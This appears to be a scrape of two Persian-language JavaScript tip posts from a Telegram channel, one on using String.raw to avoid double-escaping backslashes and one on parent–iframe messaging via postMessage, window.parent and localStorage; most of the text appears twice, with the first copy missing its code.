➡️ با استفاده از `String.raw`**، کد شما تمیزتر و خواناتر میشود، زیرا نیازی به اِسکیپکردن دوباره کاراکترهایی مانند `\`، `n` یا `t` ندارید.
**این قابلیت در کجا مفید است؟
* مسیرهای فایل: اگر با مسیرهای ویندوز کار میکنید که شامل بکاسلشهای زیادی است، `String.raw` شما را از نوشتن
* عبارات باقاعده (Regular Expressions): اگر در الگوهای خود بکاسلش یا کاراکترهای خاص زیادی دارید، `String.raw` به جلوگیری از تفسیر این کاراکترها کمک کرده و آنها را به شکل اصلیشان حفظ میکند.
* رشتههای چندخطی: زمانی که لازم است کاراکترهای خط جدید یا تب را بهصورت متن ذخیره کنید، نه اینکه واقعاً خط را بشکنید یا تب ایجاد کنید.
در نهایت، این یک روش سریع و ساده برای اجتناب از مراحل اضافی در کار با رشتههای قالببندیشده و حفظ دقت در خروجی است. 👍
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
چند روز پیش دیدم که شخصی در رشتههای قالببندیشده (template strings) برای کاراکترهای اِسکیپشده مثل
\n
(خط جدید) یا \t
(تب)، بکاسلشها (\\
) را تکرار میکرد. اما راهحل بسیار سادهتری وجود دارد و آن استفاده از `String.raw` است. 😁-----
### `String.raw` چیست؟
این متد به شما اجازه میدهد تا با رشتههای قالببندیشده به گونهای کار کنید که دنبالههای اِسکیپ (مانند
\n`، `\t`، `\\
و دیگر موارد) بهصورت «خام» باقی بمانند. یعنی اگر نیاز به نوشتن یک رشته با مسیر فایل یا کاراکترهای خط جدید و تب دارید، `String.raw` بدون نیاز به اِسکیپکردنهای اضافی، تمام کار را برای شما انجام میدهد. 👍مثال:
const path = `C:\Users\Name\Documents\file.txt`;
console.log(path); // C:UsersNameDocuments ile.txt
const path = String.raw`C:\Users\Name\Documents\file.txt`;
console.log(path); // C:\Users\Name\Documents\file.txt
به جای اینکه هر بکاسلش یا کاراکتر خط جدید را دو بار اِسکیپ کنید، همانطور که در یک رشته معمولی لازم بود:
const path = `C:\\Users\\Name\\Documents\\file.txt`;
console.log(path); // C:\Users\Name\Documents\file.txt
-----
### مزایای `String.raw`
➡️ با استفاده از `String.raw`**، کد شما تمیزتر و خواناتر میشود، زیرا نیازی به اِسکیپکردن دوباره کاراکترهایی مانند `\`، `n` یا `t` ندارید.
**این قابلیت در کجا مفید است؟
* مسیرهای فایل: اگر با مسیرهای ویندوز کار میکنید که شامل بکاسلشهای زیادی است، `String.raw` شما را از نوشتن
\\
بینیاز میکند.* عبارات باقاعده (Regular Expressions): اگر در الگوهای خود بکاسلش یا کاراکترهای خاص زیادی دارید، `String.raw` به جلوگیری از تفسیر این کاراکترها کمک کرده و آنها را به شکل اصلیشان حفظ میکند.
* رشتههای چندخطی: زمانی که لازم است کاراکترهای خط جدید یا تب را بهصورت متن ذخیره کنید، نه اینکه واقعاً خط را بشکنید یا تب ایجاد کنید.
در نهایت، این یک روش سریع و ساده برای اجتناب از مراحل اضافی در کار با رشتههای قالببندیشده و حفظ دقت در خروجی است. 👍
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
🤔 چطور بین iframe و صفحه اصلی ارتباط برقرار کنیم؟
ارتباط بین iframe و صفحه والد میتواند از طریق روشهای زیر انجام شود:
* متد `postMessage` (بهترین روش)
* دسترسی به
* انتقال دادهها از طریق localStorage یا cookies
---
🟠 `postMessage` – روشی امن برای دامنههای مختلف
متد
---
🚩 ارسال داده از `iframe` به صفحه والد
*کد در iframe (child.html):*
*کد در صفحه والد (index.html):*
> علامت
---
🚩 ارسال داده از والد به `iframe`
*کد در صفحه والد (index.html):*
*کد در iframe (child.html):*
---
🚩 دسترسی به `window.frames` و `window.parent` *(فقط اگر در همان دامنه باشند)*
اگر iframe و صفحه اصلی در یک دامنه قرار داشته باشند، میتوان مستقیماً به آبجکتهای window دسترسی داشت.
صفحه والد → iframe:
iframe → صفحه والد:
---
🚩 استفاده از `localStorage` یا `cookies` *(اگر هر دو پنجره در یک دامنه باشند)*
میتوان دادهها را در localStorage یا cookies ذخیره کرد و طرف دیگر آنها را خواند.
نوشتن در localStorage از iframe:
خواندن localStorage در صفحه والد:
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
ارتباط بین iframe و صفحه والد میتواند از طریق روشهای زیر انجام شود:
* متد `postMessage` (بهترین روش)
* دسترسی به
window.frames
یا window.parent
(اگر در همان دامنه باشند)* انتقال دادهها از طریق localStorage یا cookies
---
🟠 `postMessage` – روشی امن برای دامنههای مختلف
متد
window.postMessage()
امکان ارسال پیام بین پنجرههای مختلف (iframe، popup، تبهای دیگر) را حتی در صورت قرار داشتن در دامنههای مختلف فراهم میکند.---
🚩 ارسال داده از `iframe` به صفحه والد
*کد در iframe (child.html):*
// ارسال پیام به پنجره والد
window.parent.postMessage({ type: "hello", data: "سلام والد!" }, "*");
*کد در صفحه والد (index.html):*
window.addEventListener("message", (event) => {
console.log("پیام دریافت شده از iframe:", event.data);
});
> علامت
*
در postMessage
به این معناست که پیام به هر دامنهای ارسال میشود. بهتر است دامنه مشخصی را تعیین کنید، مثلاً:window.parent.postMessage({ type: "hello" }, "https://example.com");
---
🚩 ارسال داده از والد به `iframe`
*کد در صفحه والد (index.html):*
const iframe = document.getElementById("myIframe");
// منتظر میمانیم iframe بارگذاری شود
iframe.onload = () => {
iframe.contentWindow.postMessage({ type: "greeting", data: "سلام iframe!" }, "*");
};
*کد در iframe (child.html):*
window.addEventListener("message", (event) => {
console.log("پیام دریافت شده از والد:", event.data);
});
---
🚩 دسترسی به `window.frames` و `window.parent` *(فقط اگر در همان دامنه باشند)*
اگر iframe و صفحه اصلی در یک دامنه قرار داشته باشند، میتوان مستقیماً به آبجکتهای window دسترسی داشت.
صفحه والد → iframe:
const iframe = document.getElementById("myIframe");
// دسترسی به window داخل iframe
iframe.contentWindow.document.body.style.backgroundColor = "lightblue";
iframe → صفحه والد:
console.log(window.parent.document.title); // دسترسی به عنوان صفحه
---
🚩 استفاده از `localStorage` یا `cookies` *(اگر هر دو پنجره در یک دامنه باشند)*
میتوان دادهها را در localStorage یا cookies ذخیره کرد و طرف دیگر آنها را خواند.
نوشتن در localStorage از iframe:
localStorage.setItem("message", "سلام از iframe!");
خواندن localStorage در صفحه والد:
console.log(localStorage.getItem("message")); // "سلام از iframe!"
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript